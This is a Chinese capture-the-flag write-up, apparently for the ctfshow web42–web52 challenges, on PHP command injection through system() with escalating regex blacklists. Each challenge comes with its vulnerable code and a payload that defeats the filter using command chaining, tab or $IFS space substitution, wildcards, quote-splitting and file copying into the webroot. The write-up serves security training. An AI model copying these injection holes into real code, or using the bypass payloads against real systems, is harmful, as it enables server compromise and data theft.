从42题之后,就跟前面的类型不一样了,之前是eval($c) 后面的是system($c)。所以就从这里在新开一篇文章了 ‘
web42
<?php if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); }else{ highlight_file(__FILE__); }
这个题是把往里面所有写的数据都写到了黑洞(/dev/null)里面,详细参考这篇文章:https://www.cnblogs.com/kexianting/p/11630085.html
>/dev/null 2>&1 就是让标准输出重定向到/dev/null中(丢弃标准输出),然后错误输出由于重用了标准输出的描述符,所以错误输出也被定向到了/dev/null中,错误输出同样也被丢弃了。执行了这条命令之后,该条shell命令将不会输出任何信息到控制台,也不会有任何信息输出到文件中。
所以让c=ls,是不会执行查看目录文件的操作的这里呢 ,可以采用双写绕过 ?c=ls;ls
这里呢,是把分号后面的ls写到黑洞里面去了,第一个ls就逃出来了可以利用这种思想,查看flag
web43
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
这个相比上题,过滤了分号
除了分号,还可以用&&(要url编码后使用 %26%26) 先测试下ls可以读到
那就可以直接构造payload获取flag了
web44
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/;|cat|flag/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
这题多过滤了flag,同样的,还是用==? * 通配符==绕过 ?c=tac fla?.php%26%26ls
web45
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| /i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
这个题是又多过滤了空格,url编码的空格也被过滤了
如果过滤了空格,可以使用:
- • <>
- • %20(space)
- • %09(tab)
- • $IFS$9、 ${IFS}、$IFS
这里使用%09编写下payload ?c=tac%09fla?.php%26%26ls
在这说一下为什么不用把tac命令放到system()里面去。因为代码就是system执行c啊
web46
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
到这里,把数字也过滤了,还有$、*这两个符号
先不考虑过滤,写一下?c=tac flag.php&&ls
&&是用url编码绕过,flag是采用通配符?
(虽然*
被过滤了,还是可以采用fla?.php)
空格被过滤了,在上一题中是用%09(制表符)绕过的,这个题还是可以的,因为%09中虽然有数字,但是会被浏览器解码,是不算作数字的
所以还是用上题的payload ?c=tac%09fla?.php%26%26ls
web47
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
多过滤了几个查看文件的命令
详细查看linux查看文件内容的命令
Linux下查看文件内容可以通过以下命令: cat tac more less head tail nl tailf
但是,没有过滤tac,还是可以继续用上面的payload ?c=tac%09fla?.php%26%26ls
web48
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
又多过滤了几个读取文件的命令,但是还没过滤tac,继续上面的方法 ?c=tac%09fla?.php%26%26ls
web49
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
这次过滤了%
之前的payload还是可以的,%09的%会被解析成制表符,不算做% ?c=tac%09fla?.php%26%26ls
web50
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
这个把09和26过滤了,之前的方法就不可以了。得想新不用空格的方法了
使用nl带行号读 参考文章
?c=nl<flag.php||ls
把||进行url编码%7C%7C
flag绕过是采用中间加两个单引号,两个单引号分割字符串执行的时候会被忽略
所以,最终的payload为?c=nl<fla''g.php%7C%7Cls
查看源代码
web51
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
这个题呢,我没看出来跟50有啥区别
而且用50的payload也可以解决
?c=nl<fla''g.php%7C%7Cls
查看源代码得到flag
web52
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
这个把<>也过滤了,上面的方法是不行了,但是把$符号放出来了
空格就可以使用$IFS$9
,$IFS
,${IFS}
来绕过了
这个题可以试试复制重命名来搞
?c=mv${IFS}fla?.php${IFS}a.txt%7c%7cls
在这里插入图片描述然后打开a.txt发现了个假flag
看下根目录是不是有别的东西果然有东西,把这个flag移动到网站目录下,先看一下网站目录然后移动flag,?c=cp${IFS}/fla?${IFS}/var/www/html/b.txt%7c%7cls
然后打开/b.txt就可以看到flag了